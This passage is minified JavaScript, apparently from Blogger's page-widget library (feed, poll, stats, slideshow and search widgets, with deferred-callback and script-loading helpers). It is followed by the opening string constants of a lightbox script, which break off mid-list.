c=a[b],d=this.h;2==this.a?c.Ra(d):(Ir(this),c.Ba(d))}}this.g=!1};function Dr(a,b){if(P(b[mb])){var c=b[mb][kb](lc,4)[3],d=b.message,d=d+da(11-d[F])[ic](oc);a.i[B](d+c)}}function Ir(a){for(;a&&a.f;a=a.d)a.f=!1} function Mr(a,b){a.f=!0;vr(function(){if(a.f){if(b&&P(b[mb])&&a.i[F]){for(var c=[Ff],d=a;d;d=d.d){for(var e=a.j;0<=e;e--)c[B](d.i[e]);c[B](Zf+(3==d.a?Gf:Te)+jg+p(d.h)+ne)}b.stack=b[mb]+(mc+c[ic](lc))}Nr[I](null,b)}})}var Nr=ur;function Gr(a){$l[I](this,a)}S(Gr,$l);va(Gr[G],"cancel");/* Portions of this code are from MochiKit, received by The Closure Authors under the MIT license. All other code is Copyright 2005-2009 The Closure Authors. All Rights Reserved. */ function Or(a,b){this.g=[];this.K=a;this.H=b||null;this.f=this.a=!1;this.d=void 0;this.u=this.A=this.i=!1;this.h=0;this.b=null;this.j=0;this.o=null;if(n[Ob]){var c={stack:L};n[Ob](c,Or);typeof c[mb]==Hk&&(this.o=c[mb][w](/^[^\n]*\n/,L))}}Or[G].cancel=function(a){if(this.a)this.d instanceof Or&&this.d[Bb]();else{if(this.b){var b=this.b;delete this.b;if(a)b[Bb](a);else b.j--,0>=b.j&&b[Bb]()}this.K?this.K[I](this.H,this):this.u=!0;this.a||Pr(this,new Qr)}};Or[G].F=function(a,b){this.i=!1;Rr(this,a,b)}; function Rr(a,b,c){a.a=!0;a.d=c;a.f=!b;Sr(a)}function Tr(a){if(a.a){if(!a.u)throw new Ur;a.u=!1}}Or[G].Q=function(a){Tr(this);Vr(a);Rr(this,!0,a)};function Pr(a,b){Tr(a);Vr(b);Wr(a,b);Rr(a,!1,b)}function Wr(a,b){a.o&&Tl(b)&&b[mb]&&/^[^\n]+(\n [^\n]+)+/[zb](b[mb])&&(b.stack=b[mb]+nc+a.o)}function Vr(a){T(!(a instanceof Or),ve)}function Xr(a,b,c,d){T(!a.A,Be);a.g[B]([b,c,d]);a.a&&Sr(a)} Or[G].then=function(a,b,c){var d,e,f=new Cr(function(a,b){d=a;e=b});Xr(this,d,function(a){a instanceof Qr?f[Bb]():e(a)});return f[Zb](a,b,c)};Ar(Or);function Yr(a){return vm(a.g,function(a){return Sl(a[1])})} function Sr(a){if(a.h&&a.a&&Yr(a)){var b=a.h,c=Zr[b];c&&(O[Da](c.I),delete Zr[b]);a.h=0}a.b&&(a.b.j--,delete a.b);for(var b=a.d,d=c=!1;a.g[F]&&!a.i;){var e=a.g[Ca](),f=e[0],h=e[1],e=e[2];if(f=a.f?h:f)try{var s=f[I](e||a.H,b);Pl(s)&&(a.f=a.f&&(s==b||s instanceof n),a.d=b=s);Br(b)&&(d=!0,a.i=!0)}catch(t){b=t,a.f=!0,Wr(a,b),Yr(a)||(c=!0)}}a.d=b;if(d)if(s=Q(a.F,a,!0),d=Q(a.F,a,!1),b instanceof Or)Xr(b,s,d),b.A=!0;else b[Zb](s,d);c&&(b=new $r(b),Zr[b.I]=b,a.h=b.I)}function Ur(){$l[I](this)}S(Ur,$l); Ur[G].message="Deferred has already fired";va(Ur[G],"AlreadyCalledError");function Qr(){$l[I](this)}S(Qr,$l);Qr[G].message="Deferred was canceled";va(Qr[G],"CanceledError");function $r(a){this.I=O[jb](Q(this.b,this),0);this.a=a}$r[G].b=function(){T(Zr[this.I],He);delete Zr[this.I];throw this.a;};var Zr={};function as(a,b){var c=b||{},d=c[Yb]||l,e=l[Ua](Hf),f={$a:e,O:void 0},h=new Or(bs,f),s=null,t=null!=c.timeout?c.timeout:5E3;0<t&&(s=k[jb](function(){cs(e,!0);Pr(h,new ds(1,Uf+a))},t),f.O=s);ja(e,ra(e,function(){e[Mb]&&e[Mb]!=oj&&e[Mb]!=th||(cs(e,c.tb||!1,s),h.Q(null))}));e.onerror=function(){cs(e,!0,s);Pr(h,new ds(0,Pe+a))};Cn(e,{type:Pk,charset:Xf,src:a});es(d)[v](e);return h}function es(a){var b=a[db](af);return b&&0!=b[F]?b[0]:a[eb]} function bs(){if(this&&this.$a){var a=this.$a;a&&a.tagName==Hf&&cs(a,!0,this.O)}}function cs(a,b,c){null!=c&&O[Da](c);ja(a,Ml);a.onerror=Ml;ra(a,Ml);b&&k[jb](function(){Jn(a)},0)}function ds(a,b){var c=gf+a+ld;b&&(c+=fe+b);$l[I](this,c)}S(ds,$l);function fs(a,b){this.b=new Tq(a);this.a=b?b:eh;this.O=5E3}var gs=0;function hs(a,b,c,d){b=b||null;var e=lg+(gs++)[gb](36)+Zl()[gb](36);O._callbacks_||(O._callbacks_={});var f=a.b.D();if(b)for(var h in b)if(!b[nb]||b[nb](h)){var s=f,t=h,x=b[h];Ql(x)||(x=[p(x)]);lr(s.a,t,x)}c&&(O._callbacks_[e]=is(e,c),c=a.a,h=qg+e,Ql(h)||(h=[p(h)]),lr(f.a,c,h));a=as(f[gb](),{timeout:a.O,tb:!0});Xr(a,null,js(e,b,d),void 0)}fs[G].cancel=function(a){a&&(a.Gb&&a.Gb[Bb](),a.I&&ks(a.I,!1))}; function js(a,b,c){return function(){ks(a,!1);c&&c(b)}}function is(a,b){return function(c){ks(a,!0);b[ub](void 0,arguments)}}function ks(a,b){O._callbacks_[a]&&(b?delete O._callbacks_[a]:O._callbacks_[a]=Ml)};function ls(a){Z[I](this,Ve,a)}S(ls,Z);ls[G].s=function(){if(this.a=X(this.c,qi)){var a=this.c.l(),a=new ms(a.feedUrl,this.a,{numItemsShow:a.numItemsShow,showItemAuthor:a.showItemAuthor,showItemDate:a.showItemDate,linkTarget:a.openLinksInNewWindow?pg:sg}),b=new fs(Hd);b.O=-1;hs(b,{q:a.h,num:a.a.numItemsShow,output:ij,v:Qd},Q(a.d,a))}}; var ns={moduleTitle:null,feedUrl:function(a){a=a[w](/^\s+/,L)[w](/\s+$/,L);if(0==a[F])return LayoutsMessages.FIELD_CANNOT_BE_BLANK},numItemsShow:function(a,b){return function(c){c=fa(c,10);if(ca(c))return LayoutsMessages.MUST_SPECIFY_A_NUMBER;if(c<a)return LayoutsMessages.NUMBER_TOO_SMALL+oc+a;if(c>b)return LayoutsMessages.NUMBER_TOO_LARGE+oc+b}}(1,5),showItemDate:null,showItemAuthor:null,securityToken:null,openLinksInNewWindow:null};function ms(a,b,c){this.h=a;this.b=b;this.a=c} ms[G].d=function(a){In(this.b);if(200==a.responseStatus){var b=l[Ua](el);this.b[v](b);for(var c=0;c<a.responseData.feed.entries[F];c++){var d=a.responseData.feed.entries[c],e=l[Ua](lj);b[v](e);var f=En(tg,{href:d.link},d[Ub]);za(f,this.a.linkTarget);e[v](En(yk,{"class":gj},f));this.a.showItemDate&&(f=En(yk,{"class":fj},Fl+(new Date(d.publishedDate)).toLocaleDateString()),e[v](f));this.a.showItemAuthor&&(d=En(yk,{"class":ej},Fl+d.author),e[v](d))}this.f&&this.f(a.responseData.feed)}else this.b[v](En(yk, null,Oe)),this.g&&this.g()};R("_FeedView",ls);ls._setConfigurationOptions=function(){var a;ns.security_token=null;a||(a=uh);var b=l.forms[a].widgetId[Hb],c=l.forms[a].widgetType[Hb];a=l.forms[a];var d=!0,e={},f;for(f in ns){var h=Up(a[f]);if(Pl(h)){var s=ns[f],t=Vp(f);t&&(r(t,L),u(t,ji));s&&(s=s(h))&&(Sp(f,s),d=!1);e[f]=h}}d&&U.$b(e,b,c)};function os(a){Z[I](this,os.a,a)}S(os,Z);os.a="FollowByEmail";R("_FollowByEmailView",os);function ps(a){Z[I](this,We,a);this.a=a.k}S(ps,Z);function qs(a){k[yb](a,pg,Ki)}ps[G].M=function(a,b){if(a==Fi)rs(this,b),ss(this),ts(this,b);else ps.n.M[I](this,a,b)};ps[G].s=function(){var a;t:{a=this.a[y];for(var b in a){a=!1;break t}a=!0}a||(ss(this),ts(this,this.a[y]))};function rs(a,b){for(var c=Bn(vi,a.a.a),c=Fm(b.followers,An(tg,ti,c)),d=0;d<c[F];d++){var e=c[d][0],f=c[d][1];f[ab](Qh,e.viewUrl);Aa(f,function(){return!1});f=Bn(ui,f);f[ab](Bk,e.thumbnailUrl);f[ab](Vk,e.displayName)}} function ss(a){var b=Bn(vi,a.a.a);if(b)for(var b=An(tg,ti,b),c=0;c<b[F];c++){var d=b[c];d[bc](Qh)&&Aa(d,Q(qs,a,d[bc](Qh)))}}function ts(a,b){var c=Bn(wi,a.a.a);c&&(b.nextTimestamp?(q(c[A],cj),c=Bn(Gj,c),pa(c,wc),Aa(c,function(){return!1}),uo(c),lo(c,jh,Q(ps[G].b,a,b.nextTimestamp))):q(c[A],M))}ps[G].b=function(a){Rp(this.c,Fi,{fcMT:a},null,Ye)};R("_FollowersView",ps);function us(a){Z[I](this,Ze,a)}S(us,Z);R("_GadgetView",us);function vs(a){Z[I](this,vs.a,a)}S(vs,Z);vs.a="Header";R("_HeaderView",vs);function ws(a,b){Z[I](this,b,a)}S(ws,Z);function xs(a){Z[I](this,Sf,a)}S(xs,ws);function ys(a){Z[I](this,df,a)}S(ys,ws);R("_TextView",xs);R("_HTMLView",ys);function zs(a){Z[I](this,ff,a);this.a=a.k}S(zs,Z);zs[G].s=function(){if(!0==this.a[y].resize){var a=X(this.c,aj),b=this.a.a;if(a&&b){if(l[Qb])b=fa(l[Qb].getComputedStyle(b,null)[Ea],10);else if(b[ec])q(a[A],M),b=b.offsetWidth,q(a[A],L);else return;a[Ea]>b&&(qa(a,m[Cb](b/a[Ea]*a[wb])),ka(a,b));xa(a[A],jl)}}};R("_ImageView",zs);function As(a){Z[I](this,kf,a)}S(As,Z);R("_LabelView",As);function Bs(a){Z[I](this,Tf,a)}S(Bs,Z);R("_TextListView",Bs);function Cs(a){Z[I](this,lf,a)}S(Cs,Z);R("_LinkListView",Cs);function Ds(a){Z[I](this,Fe,a)}S(Ds,Z);R("_BloggerButtonView",Ds);function Es(a){Z[I](this,tf,a)}S(Es,Z);R("_NavbarView",Es);function Fs(a){Z[I](this,uf,a)}S(Fs,Z);Fs[G].s=function(){google[Fb](rk,Pd,{callback:this.a[cb](this)});k._uds_nbw_donotrepair=!0}; Fs[G].a=function(){if(X(this.c,Jg)){var a=Qp(this.c,Jg),b,c=this.c.l().format;c==Yf?b=!1:c==cf?b=!0:c==bf&&(b=!0);c={largeResultSet:!1,horizontal:b,linkTarget:!0==this.c.l().linkNewWindow?GSearch.LINK_TARGET_BLANK:GSearch.LINK_TARGET_SELF,title:oc,autoExecuteList:{executeList:this.c.l().expression[kb](/,/)}};b&&(c.autoExecuteList.cycleTime=GSnewsBar.CYCLE_TIME_MEDIUM,c.autoExecuteList.cycleMode=GSnewsBar.CYCLE_MODE_RANDOM);b=new GSnewsBar(a,c);k[a.id]=b}};R("_NewsBarView",Fs);function Gs(a){Z[I](this,xf,a)}S(Gs,Z);Gs[G].wa=function(){return xf};Gs[G].s=function(){if(!1!=this.c.l().mobile){var a=X(this.c,uk);a&&(a.onchange=function(a){a=a||k[kc];a=a[ac]||a[Gb];if(a=a.options[a.selectedIndex][Hb])k.location=a})}};var _PageListView=Gs;R("_PageListView",Gs);function Hs(a){Z[I](this,Hs.a,a)}S(Hs,Z);Hs.a="PlusBadge";R("_PlusBadgeView",Hs);function Is(a){Z[I](this,Is.a,a)}S(Is,Z);Is.a="PlusFollowers";R("_PlusFollowersView",Is);function Js(a){Z[I](this,Js.a,a)}S(Js,Z);Js.a="PlusOne";R("_PlusOneView",Js);function Ks(a){Z[I](this,zf,a)}S(Ks,Z);R("_PlusPostsView",Ks);function Ms(a){Z[I](this,Af,a)}S(Ms,Z);k.setInterval(function(){if(k[z][rb]==Pi)for(var a=l[db]($i),b,c=0;b=a[c];c++)if(0==b[Rb][Jb](Tj))try{if(k[Sb][b[Rb]]&&k[Sb][b[Rb]][Sb][0]){var d=ea(k[Sb][b[Rb]][Sb][0][z].hash[w](wc,L));d&&qa(b[A],d+10+fk)}}catch(e){}},500);R("_PollView",Ms);function Os(a){Z[I](this,Bf,a)}S(Os,Z);R("_PopularPostsView",Os);function Ps(a){Z[I](this,Df,a);this.a=a.k}S(Ps,Z);Ps[G].s=function(){this.a&&this.a.a&&q(this.a.a[A],!1==this.c.l().isDisplayable?M:L)};R("_ProfileView",Ps);function Qs(a){Z[I](this,Nf,a)}S(Qs,Z);Qs[G].s=function(){k[z][rb]==Pi&&google[Fb](ri,Pd,{callback:this.a[cb](this)})}; Qs[G].a=function(){if(X(this.c,xk)){var a=Qp(this.c,xk),b=this.c.l().computedFeed,c={linkTarget:this.c.l().linkNewWindow?google.feeds.LINK_TARGET_BLANK:google.feeds.LINK_TARGET_SELF,scaleImages:!0,fullControlPanel:!0,fullControlPanelSmallIcons:!0,pauseOnHover:!1,displayTime:this.c.l().speed};0==b[Jb](Ri)&&(c.thumbnailUrlResolver=Rs);this.c.l().randomizeFeed&&(c.feedLoadCallback=Ss);new GFslideShow(b,a,c)}}; function Rs(a){var b=google.feeds.getElementsByTagNameNS(a.xmlNode,Vi,Sk);a=null;b[F]&&(b=b[0],a=b[bc](fl),a||(a=b[Ya].nodeValue),a=a[w](/^(.*)_[st]\.([a-zA-Z]+)$/,Cc));return a}function Ss(a){a=a.feed.entries;for(var b=a[F]-1;0<b;--b){var c=m[Ga](m[qb]()*(b+1)),d=a[b];a[b]=a[c];a[c]=d}}R("_SlideshowView",Qs);function Ts(a){Z[I](this,Pf,a)}S(Ts,Z);Ts[G].s=function(){null!=X(this.c,Zk)&&mp(this.c.l().statsUrl,Q(this.f,this))}; Ts[G].f=function(a){a=a[ac];if(vp(a)){a=a.a?Xo(a.a[Ha]):void 0;var b=this.c.l(),c=X(this.c,Zk);if(null!=c){if(b.showGraphicalCounter){this.d=a.total;for(var d=L+a.total,e=0;e<d[F];e++)c[v](En(yk,{"class":Uh},En(Ik,null,l[Ka](p(d[Ja](e)))),En(yk,{"class":Lg})));b.showAnimatedCounter&&(this.b=new Bo(a.nextTickMs),lo(this.b,Tk,Q(this.g,this,c)),c=this.b,c.d=!0,c.a||(c.a=c.b[jb](c.g,c.f),c.i=Zl()))}else{d=a.total;if(ca(d)||0>d)d=sf;else{for(var d=d[gb](),e=[],f=0,h=d[F];f<h;f++)0<f&&0==f%3&&e[B](od), e[B](d[Ja](h-1-f));d=e.reverse()[ic](L)}Kn(c,d)}b.showSparkline&&(Qp(this.c,zk).src=a.sparklineUrl);q(Qp(this.c,Hh)[A],L)}}}; Ts[G].g=function(a){if(Us(this.d+1)>Us(this.d))uo(this.b),Co(this.b);else{this.d++;for(var b=L+this.d,c=0;c<b[F];c++){var d=a.childNodes[c],e=b[Ja](c),f=d[Ya],h=void 0;vn&&dj in f?h=f.innerText[w](/(\r\n|\r|\n)/g,lc):(h=[],Nn(f,h,!0),h=h[ic](L));h=h[w](/ \xAD /g,oc)[w](/\xAD/g,L);h=h[w](/\u200B/g,L);vn||(h=h[w](/ +/g,oc));h!=oc&&(h=h[w](/^\s*/,L));h!=e&&(Kn(d[Ya],e),Do(Q(this.a,this,d,1),50),Do(Q(this.a,this,d,2),100),Do(Q(this.a,this,d,3),150),Do(Q(this.a,this,d,0),200))}}}; function Us(a){return 0==a?1:m[Ga](m.log(a)/m.LN10)+1}Ts[G].a=function(a,b){var c=Ck+(0!=b?b-1:3),d=Ck+b,e=Gm(a);P(c)?Am(e,c):Ql(c)&&(e=Km(e,c));P(d)&&!ym(e,d)?e[B](d):Ql(d)&&Im(e,d);u(a,e[ic](oc))};R("_StatsView",Ts);function Vs(a){Z[I](this,Qf,a)}S(Vs,Z);var Ws=null,Xs=null;function Ys(a,b){wa(a[A],!0==b?Yd:L)}function Zs(a,b){return a?a[Vb]&&-1!=a[Vb].search(b)?a:Zs(a[K],b):null}function $s(a,b){Ys(a[K],b);if(V){var c=Zs(a,sk);c&&(c[K][Vb]&&-1!=c[K][Vb].search(ph)&&Ys(c[K][K][K][K],b),Ys(c,b));(c=Zs(a,ml))&&Ys(c[K][K],b)}}R("_SubscribeView",Vs); R("_SW_toggleReaderList",function(a,b){var c=l[C](Jf+b),d=l[C](Kf+b);a||(a=k[kc]);a.cancelBubble=!0;a[lb]&&a[lb]();var e=l.onclick;null!=Ws&&Ws!=c&&($s(Ws,!1),q(Ws[A],M),xa(Xs[A],jl));c[A][vb]==M?($s(c,!0),q(c[A],L),Ws=c,Xs=d,xa(d[A],Mi),Aa(l,function(){q(c[A],M);$s(c,!1);xa(d[A],jl);e&&Aa(l,e)})):(q(c[A],M),$s(c,!1),xa(d[A],jl),e&&Aa(l,e));return!1});R("_SW_hideReaderList",function(a){var b=l[C](Jf+a);a=l[C](Kf+a);q(b[A],M);$s(b,!1);xa(a[A],jl)});function at(a){Z[I](this,at.a,a)}S(at,Z);at.a="Translate";R("_TranslateView",at);function bt(a){Z[I](this,$f,a)}S(bt,Z);bt[G].s=function(){if(k[z][rb]==Pi){var a=this.c;google[Fb](rk,Pd,{callback:Q(this.a,this)});X(this.c,Jg)&&(a=Qp(a,Jg),Hm(a,hl))}}; bt[G].a=function(){if(X(this.c,Jg)){var a=Qp(this.c,Jg),b=this.c.l().format,c,d,e=this.c.l().expression;b==Yf?(c=!1,d=GSvideoBar.THUMBNAILS_MEDIUM,ka(a[A],Ud)):b==cf?(c=!0,d=GSvideoBar.THUMBNAILS_SMALL,ka(a[A],Zd)):b==bf&&(c=!0,d=GSvideoBar.THUMBNAILS_MEDIUM,ka(a[A],ae));new GSvideoBar(a,GSvideoBar.PLAYER_ROOT_FLOATING,{largeResultSet:!1,horizontal:c,autoExecuteList:{cycleTime:GSvideoBar.CYCLE_TIME_LONG,cycleMode:GSvideoBar.CYCLE_MODE_RANDOM,executeList:e[kb](/,/)},thumbnailSize:d})}}; R("_VideoBarView",bt);function $(a){Z[I](this,$.a,a)}S($,Z);$.a="Wikipedia";R("_WikipediaView",$);$.f=5;$.b=L;$.d=fi;N=$[G];N.ca=!1;N.Y=!1;N.s=function(){var a=X(this.c,wl);if(a){$.b=this.c.k[y].language||fi;var b=this;lo(a,Lk,function(a){$[G].Y||($[G].Y=!0,ct(b));a[La]()})}}; function ct(a){r(W(X(a.c,zl)),L);r(W(X(a.c,yl)),L);var b=cm(W(X(a.c,xl))[Hb]);b?(b=fr(fr(fr(Wq(new Tq(Qi+(a.ca&&$.d||$.b)+Dd),Md),wg,Sj),rk,b),Bi,ij),b=new fs(new Tq(b)),hs(b,{callback:oe},Q(a.vb,a),Q(a.ub,a))):(q(W(X(a.c,Al))[A],M),r(W(X(a.c,zl)),a.c.k[y].enterTextMsg),$[G].Y=!1)} N.vb=function(a){var b=X(this.c,Al),c=X(this.c,zl),d=cm(W(X(this.c,xl))[Hb]),e=[];a=a[1];var f=a[F];if(0==f)b=W(b),q(b[A],Mg),r(W(c),this.c.k[y].noResultsFoundMsg),$[G].Y=!1;else{for(var h=0;h<f;h++)e[B](le+(Qi+(this.ca&&$.d||$.b)+Ed+a[h][w](/ /g,lg))+ne+a[h]+ie);if(f>$.f){for(h=0;h<$.f;h++)W(c).innerHTML+=e[h];q(W(X(this.c,yl))[A],Mg);c=ke+fr(fr(fr(fr(Wq(new Tq(Qi+(this.ca&&$.d||$.b)+Dd),Nd),Vk,Of),dk,Rh),rk,d),Ci,Lf)+ne+this.c.k[y].moreMsg+he;r(W(X(this.c,yl)),c)}else for(h=0;h<f;h++)W(c).innerHTML+= e[h];b=W(b);q(b[A],Mg);this.ca=$[G].Y=!1}};N.ub=function(){$.b!=fi?(this.ca=!0,ct(this)):(q(W(X(this.c,Al))[A],M),r(W(X(this.c,zl)),this.c.k[y].fetchingErrorMsg),$[G].Y=!1)};if(k[D]){k[D].bb={};k[D].Hb=1;var dt=function(a,b,c){var d=a.t[b],e=a.t.start;if(d&&(e||c))return d=a.t[b][0],void 0!=c?e=c:e=e[0],d-e},et=function(a,b,c){var d=L;k[D].srt&&(d+=$c+k[D].srt,delete k[D].srt);k[D].pt&&(d+=bd+k[D].pt,delete k[D].pt);try{k.external&&k.external[Qa]?d+=dd+k.external[Qa]:k.gtbExternal&&k.gtbExternal[Qa]?d+=dd+k.gtbExternal[Qa]():k[Fa]&&k[Fa].csi&&(d+=dd+k[Fa].csi()[Qa])}catch(e){}var f=k[Fa];if(f&&(f=f.loadTimes)){f().wasFetchedViaSpdy&&(d+=Vc);if(f().wasNpnNegotiated){var d= d+Tc,h=f().npnNegotiatedProtocol;h&&(d+=Uc+(g||escape)(h))}f().wasAlternateProtocolAvailable&&(d+=Lc)}var s=a.t,t=s.start,f=[],h=[],x;for(x in s)if(x!=Dk&&0!=x[Jb](lg)){var E=s[x][1];E?s[E]&&h[B](x+yd+dt(a,x,s[E][0])):t&&f[B](x+yd+dt(a,x))}delete s.start;if(b)for(var J in b)d+=Fc+J+me+b[J];(b=c)||(b=Wi==l[z][rb]?Xi:Si);return[b,qe,Yc+(k[D].sn||Ug)+Jc,a[Rb],h[F]?Pc+h[ic](od):L,d,Xc,f[ic](od)][ic](L)},ft=function(a,b,c){a=et(a,b,c);if(!a)return L;b=new Image;var d=k[D].Hb++;k[D].bb[d]=b;ja(b,b.onerror= function(){k[D]&&delete k[D].bb[d]});b.src=a;b=null;return a};k[D].report=function(a,b,c){if(l.webkitVisibilityState==ck){var d=!1,e=function(){if(!d){b?b.prerender=Pd:b={prerender:Pd};var f;l.webkitVisibilityState==ck?f=!1:(ft(a,b,c),f=!0);f&&(d=!0,l.removeEventListener(kl,e,!1))}};l[Nb](kl,e,!1);return L}return ft(a,b,c)}}; })() ``` 4097704562-lbx.js ```(function (){ var c="",aa="\n",ba="\n\n",ca="\nDEFERRED OPERATION:\n",da="\nFailed to parse response: ",ea="\r\n",fa=" ",ga=" - ",ha=" (group)",ia=" - ",ja=" <",ka=" CSS_LIGHTBOX_ADMIN_LINK",la=' CSS_LIGHTBOX_SCALED_IMAGE_CAPTION_TEXT goog-inline-block"></span></span></div>',ma=" You can ",na=' action="',oa=' aria-disabled="true"',pa=" at ",qa=' class="',ra=" completed",sa=" contacts)",ta=" ease-out",ua=" goog-contacts-ui-autocomplete-new-section",wa=' id="',xa=" in ",ya=" jfk-button-checked",Aa=" jfk-button-disabled", Ba=" jfk-button-narrow",Ca=" mm",Da=' name="',Ea=" on a non-extendable object.",Fa=" pixels",Ga=" sec (1/",Ha=' tabindex="',Ia=' type="',Ja=' value="',Ka=" was not registered",La=" with error",Ma=" x ",Na='"',Oa='" ',Pa='" (New contact)',Qa='" />',Ra='" /><img class="CSS_LIGHTBOX_VIDEO_ROTATE_IMG CSS_LIGHTBOX_VIDEO_ROTATE_IMG_180" src="',Sa='" /><img class="CSS_LIGHTBOX_VIDEO_ROTATE_IMG CSS_LIGHTBOX_VIDEO_ROTATE_IMG_270" src="',Ta='" <',Ua='" asbeCommentId="',Wa='" class="CSS_APP_ULINK" tabindex="0" role="link" idlink>', Xa='" class="CSS_APP_ULINK" tabindex="0" role="link" idlink>Undo</span>',Ya='" class="CSS_LIGHTBOX_ADD_COMMENT_EDITOR_ANCHOR"></div>',Za='" class="CSS_LIGHTBOX_ADD_COMMENT_PROMPT">',$a='" class="CSS_LIGHTBOX_FILMSTRIP_THUMBNAIL_NUMBER_BUBBLE_CONTENT">',ab='" class="CSS_LIGHTBOX_NOTIFY_WIDGET_CONTENT_LINK" tabindex="0" role="link" idlink>Undo</span>',bb='" class="CSS_LIGHTBOX_NOTIFY_WIDGET_CONTENT_LINK" tabindex="0" role="link" idlink>sign up</span> for free!',cb='" class="CSS_LIGHTBOX_NOTIFY_WIDGET_CONTENT_LINK" tabindex="0" role="link" idlink>your Google profile</span>.', db='" class="CSS_LIGHTBOX_NOTIFY_WIDGET_CONTENT_LINK" target="_blank">',eb='" class="CSS_LIGHTBOX_PHOTO_INFO_PEOPLE_LINK CSS_LIGHTBOX_TAGGEE_NAME">',fb='" class="CSS_LIGHTBOX_SOFT_DELETE_LINK" target="_blank">',gb='" class="CSS_LIGHTBOX_SOFT_DELETE_LINK" target="_blank">Learn more</a>',hb='" class="CSS_LIGHTBOX_SOFT_DELETE_LINK" target="_blank">Learn more</a></div>',ib='" class="CSS_LIGHTBOX_SOFT_DELETE_LINK" target="_blank">User Content and Conduct policies</a>.</div>',jb='" class="CSS_LIGHTBOX_TAGGEE_PHOTOS_LINK CSS_LIGHTBOX_TAGGEE_PHOTOS">photos</a>', kb='" class="CSS_LIGHTBOX_TAGGEE_PHOTOS_LINK CSS_LIGHTBOX_TAGGEE_REMOVE">remove tag</a>',lb='" class="CSS_UPDATES_POPUP_PROFILE_PIC_IMG"/></span><ul class="CSS_UPDATES_POPUP_LIST"><li>',mb='" class="goog-inline-block CSS_LIGHTBOX_ADD_COMMENT_EDITOR"></textarea>',nb='" class="goog-inline-block CSS_LIGHTBOX_ADD_COMMENT_EDITOR"><div id="',ob='" class="goog-inline-block CSS_LIGHTBOX_ADD_COMMENT_PORTRAIT" src="',pb='" hc="off" class="CSS_LIGHTBOX_COMMENT_DISPLAY_NAME">',qb='" id="',rb='" is not registered', sb='" oid="',tb='" target="_blank" class="CSS_LIGHTBOX_NOTIFY_WIDGET_CONTENT_LINK">',ub='" target="_blank">',vb='" target="_blank">Show original</a></div>',wb='" target=_blank class="',xb='" target=_blank class=namebox-text-label-link>',yb='" value="',zb='". Please try again.',Ab='">',Cb='"></a>',Db='"></td><td class="CSS_LIGHTBOX_COMMENT_CELL_RIGHT"><a href="',Eb='"><div id="',Fb='"><img class="goog-inline-block CSS_LIGHTBOX_CONTEXT_PORTRAIT" src="',Gb='"><td class="CSS_LIGHTBOX_COMMENT_CELL_LEFT"><img class="CSS_LIGHTBOX_COMMENT_PROFILE_PHOTO_IMG" src="', Hb='">Delete</span>',Ib='">photos</a>)</span>',Jb="#",Lb="#default#userData",Mb="#zSoyz",Nb="$",Ob="$1",Pb="$1 ",Qb="$a",Rb="%",Sb="%27",Tb="%2C",Ub="%s",Vb="&",Wb="&#39;",Xb="&#91;",Yb="&&",Zb="&&&END&&&",$b="&&&START&&&",ac="&amp;",bc="&autoplay=1&ps=picasaweb&playerapiid=uniquePlayerId&t=1&auth_timeout=86400000000",cc="&avoidgeturl=true",dc="&cc_load_policy=2",ec="&fmt_stream_map=",fc="&gt;",gc="&gwt.hosted=",hc="&lt;",ic="&nbsp;",jc="&nbsp;(",kc='&nbsp;</p><span class="CSS_LIGHTBOX_PHOTO_INFO_LOCATION_ICON_HIDDEN CSS_LIGHTBOX_PHOTO_INFO_LOCATION_ICON_BG"></span><p class="CSS_LIGHTBOX_PHOTO_INFO_LOCATION"></p>', lc="&nbsp;|&nbsp;",mc="&p=flagged_photo",nc="&quot;",oc="&ttspolicyfile=",pc="&ttsurl=",qc="&video_id=picasacid",rc="'",sc="''",tc="(",uc="(-webkit-min-device-pixel-ratio: ",vc="(1 contact)",wc="(\\d*)(\\D*)",xc="(^",yc="(^|[- ,_/.:])",zc="(^|\\W+)",Ac="(min-resolution: 1.5dppx), (-webkit-min-device-pixel-ratio: 1.5)",Bc="(off)",Cc="(on)",Dc=")",Ec=") scaleY(",Fc=")([a-z])",Gc="),(min--moz-device-pixel-ratio: ",Hc="),(min-resolution: ",Ic="*",Jc="+",Kc=",",h=", ",Lc=", &nbsp;",Mc=", M21=",Nc=', M22=0, sizingMethod="auto expand")', Oc=", height: ",Pc=",;",Qc="-",Rc="-1",Sc="-10000px",Tc="-100px",Uc="-action",Vc="-active",Wc="-arrow",Yc="-arrow-id",Zc="-arrowdown",$c="-arrowimplafter",ad="-arrowimplbefore",bd="-arrowleft",cd="-arrowright",dd="-arrowup",ed="-bg",fd="-bottom",gd="-buttons",hd="-c",id="-caption",jd="-checkbox",kd="-checked",ld="-closebtn-id",md="-container-div",nd="-content",pd="-content-id",qd="-contentId",rd="-contrast",sd="-default",ud="-disabled",vd="-done-",wd="-dropdown",xd="-end",yd="-filter",zd="-flat", Ad="-focus-opensocial.googleusercontent.com",Bd="-focused",Cd="-highlight",Dd="-horizontal",Ed="-hover",Fd="-iframe",Gd="-inner-box",Hd="-mini",Id="-moz",Jd="-moz-pre-wrap",Kd="-moz-transform",Ld="-ms",Md="-ms-transform",Nd="-narrow",Od="-o",Pd="-o-transform",Qd="-open",Rd="-outer-box",Sd="-p",Td="-pos",Ud="-primary",Vd="-rtl",Wd="-selected",Xd="-standard",Yd="-start",Zd="-title",$d="-title-close",ae="-title-draggable",be="-title-text",ce="-top",de="-top-shadow",ee="-transition:opacity 1s linear;", fe="-vertical",ge="-webkit",he="-webkit-backface-visibility",ie="-webkit-perspective",je="-webkit-transform",ke="-webkit-transform ",le="-webkit-transform-style",me="-webkit-transition",ne=".",oe="..",pe="...",qe="./",re=".googleusercontent.com",se="/",te="/+/policy/content.html",ue="/.",ve="//",we="//www.google.com/jsapi",xe="//www.google.com/s2/",ye="//www.youtube.com/get_player?enablejsapi=1",ze="/3 EV",Ae="/c/",Be="/gadgets/proxy",Ce="/in/set-",De="/mail/c/",Ee="/ozInternal/",l="0",Fe="0%",Ge= "00",He="000",Ie="0px",Je="0x",Ke="1",Le="1,",Me="1.9",Ne="1.9.1",Oe="10",Pe="10.0",Se="10.50",Te="100%",Ue="128",Ve="2932e00",We="2d",Xe="3",Ye="4",Ze="50",$e="522",af="525",bf="531",cf="532.0",df="533.17.9",ef="6px",ff="7",gf="7/0/0",hf="8",jf="9",kf="9.0.60",lf="9/0/115",mf=":",nf=": ",of="::",pf=":</a> <span>",qf=";",rf="<",sf="</",tf="</a>",uf="</a> ",vf="</a> and ",wf="</a> from tagging you in the future.",xf="</a> has been blocked.",yf="</a> has been unblocked.",zf="</b>",Af="</b> of <b>", Bf="</div>",Cf="</div></div>",Df="</div></div></div>",Ef="</div></td></tr>",Ff='</div><div 